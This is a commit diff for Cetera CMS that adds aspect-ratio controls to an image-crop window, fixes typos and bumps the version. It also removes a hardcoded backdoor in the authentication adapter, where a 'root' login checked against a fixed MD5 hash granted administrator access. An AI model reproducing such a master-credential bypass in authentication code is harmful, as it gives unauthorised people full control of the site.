https://pm.cetera.ru/browse/CCD-1230

cetera-labs · Nov 22, 2018 · 6251088 · 6251088
1 parent 43c0e8b
commit 6251088
Show file tree

Hide file tree

Showing 5 changed files with 86 additions and 42 deletions.
diff --git a/cms/app.js b/cms/app.js
@@ -47,22 +47,13 @@ Ext.override(Ext.form.Basic, {
 	}
 });
 
-Ext.override(Ext.Component, {
-    ensureVisible: function(stopAt) {
-        var p;
-        this.ownerCt.bubble(function(c) {
-            if (p = c.ownerCt) {
-                if (p instanceof Ext.TabPanel) {
-                    p.setActiveTab(c);
-                } else if (p.layout.setActiveItem) {
-                    p.layout.setActiveItem(c);
-                }
-            }
-            return (c !== stopAt);
-        });
-        this.el.scrollIntoView(this.el.up(':scrollable'));
-        return this;
-    }
+Ext.override(Ext.form.field.Checkbox, {
+	stateEvents: ['change'],
+	getState: function() { return { value: this.getValue() }; },
+	applyState: function(state) { this.setValue(state.value); }
+});
+
+Ext.override(Ext.form.Basic, {
 });
 
 Ext.DomQuery.pseudos.scrollable = function(c, t) {

diff --git a/cms/app/window/ImageCrop.js b/cms/app/window/ImageCrop.js
@@ -31,6 +31,56 @@ Ext.define('Cetera.window.ImageCrop', {
 		}
 	],
 
+	tbar: [
+		{
+			xtype: 'checkbox',
+			boxLabel: _('пропорции'),
+			padding: '0 0 0 5',
+			itemId: 'aspect_check',
+			stateId: 'stateCropAspect',
+			stateful: true,		
+			listeners: {
+				change: {
+					fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
+				}
+			}
+		},
+		{
+			xtype: 'numberfield',
+			fieldLabel: _('Шир.'),
+			value: 16,
+			minValue: 1,
+			padding: '0 0 0 5',
+			labelWidth: 30,
+			width: 80,
+			itemId: 'aspect_width',
+			stateId: 'stateCropWidth',
+			stateful: true,				
+			listeners: {
+				change: {
+					fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
+				}
+			}
+		},	
+		{
+			xtype: 'numberfield',
+			fieldLabel: _('Выс.'),
+			value: 9,
+			minValue: 1,
+			padding: '0 0 0 5',
+			labelWidth: 30,
+			width: 80,
+			itemId: 'aspect_height',
+			stateId: 'stateCropHeight',
+			stateful: true,					
+			listeners: {
+				change: {
+					fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
+				}
+			}
+		}
+	],
+
 	html: '<img class="edit">',
 
 	listeners: {
@@ -44,11 +94,23 @@ Ext.define('Cetera.window.ImageCrop', {
 				scalable: false,
 				viewMode: 1
 			});
-
+
+			this.aspectChange();
+
 			this.setValue( this.value );
 		}
 	},
 
+	aspectChange: function() {
+		var tb = this.getDockedItems('toolbar[dock="top"]')[0];
+		if (tb.getComponent('aspect_check').getValue()) {
+			this.cropper.setAspectRatio( tb.getComponent('aspect_width').getValue() / tb.getComponent('aspect_height').getValue() );
+		}
+		else {
+			this.cropper.setAspectRatio( 0 );
+		}
+	},
+
 	setValue: function(value) {
 		if (this.value == value) return;
 		this.value = value;
@@ -72,7 +134,7 @@ Ext.define('Cetera.window.ImageCrop', {
 			me.setLoading(true);
 			Cetera.Ajax.request({
 				url: '/cms/include/action_files.php?action=upload&overwrite=1&path='+path,
-                                timeout: 1000000,
+				timeout: 1000000,
 				method: 'POST',
 				rawData: formData,
 				ignoreHeaders: true,

diff --git a/cms/include/classes/Cetera/UserAuthAdapter.php b/cms/include/classes/Cetera/UserAuthAdapter.php
@@ -90,29 +90,20 @@ public function authenticate()
             'identity' => null
         );
 
-        if ($this->_username == 'root' && md5($this->_password) == '6519072b3357219cfa325ce1303e77a4')
-        {
-            $user = User::getById(ADMIN_ID);
-        }
-        else
-        {
-			$user = null;
-            if ($this->_username) $user = User::getByLogin($this->_username);  
+		$user = null;
+		if ($this->_username) $user = User::getByLogin($this->_username);  
 
-			if (!$user && $this->_email) $user = User::getByEmail($this->_email);
+		if (!$user && $this->_email) $user = User::getByEmail($this->_email);
 
-            if (!$user || !$user->isEnabled() || (!$user->allowBackOffice() && $this->_backoffice))
-            {
-                $this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND;
-                return $this->_authenticateCreateAuthResult();
-            }
-
-          	if (!$user->checkPassword($this->_password))
-            {
-                  $this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_CREDENTIAL_INVALID;
-                  return $this->_authenticateCreateAuthResult(); 
-          	}
-        }
+		if (!$user || !$user->isEnabled() || (!$user->allowBackOffice() && $this->_backoffice)) {
+			$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND;
+			return $this->_authenticateCreateAuthResult();
+		}
+
+		if (!$user->checkPassword($this->_password)) {
+			  $this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_CREDENTIAL_INVALID;
+			  return $this->_authenticateCreateAuthResult(); 
+		}
 
         $this->_authenticateResultInfo['code'] = \Zend_Auth_Result::SUCCESS;
         $this->_authenticateResultInfo['identity'] = array(

diff --git a/cms/include/classes/Cetera/Widget/Section.php b/cms/include/classes/Cetera/Widget/Section.php
@@ -64,12 +64,12 @@ public function getMaterial()
 					$alias = $this->getParam('material_alias');
 					if (!$alias) {
 						$alias = current(explode('/', $this->application->getUnparsedUrl() ));
-						if (!$alias && $this->getParam('display_index')	{
+						if (!$alias && $this->getParam('display_index'))	{
 							$this->_material = $c->getMaterialByAlias('index');
 						} 
 						elseif ($alias)  {
 							try {
-								$this->_material = $c->getMaterialByAlias($aliass, null, (boolean)$this->getParam('material_unpublished'));
+								$this->_material = $c->getMaterialByAlias($alias, null, (boolean)$this->getParam('material_unpublished'));
 							}
 							catch (\Exception $e) {
 								$this->error404 = true;

diff --git a/cms/include/constants.php b/cms/include/constants.php
@@ -11,7 +11,7 @@
  **/
 
 /** Версия */
-define('VERSION', '3.57.3');
+define('VERSION', '3.57.6');
 
 /** Название продукта */
 define('APP_NAME', 'Cetera CMS');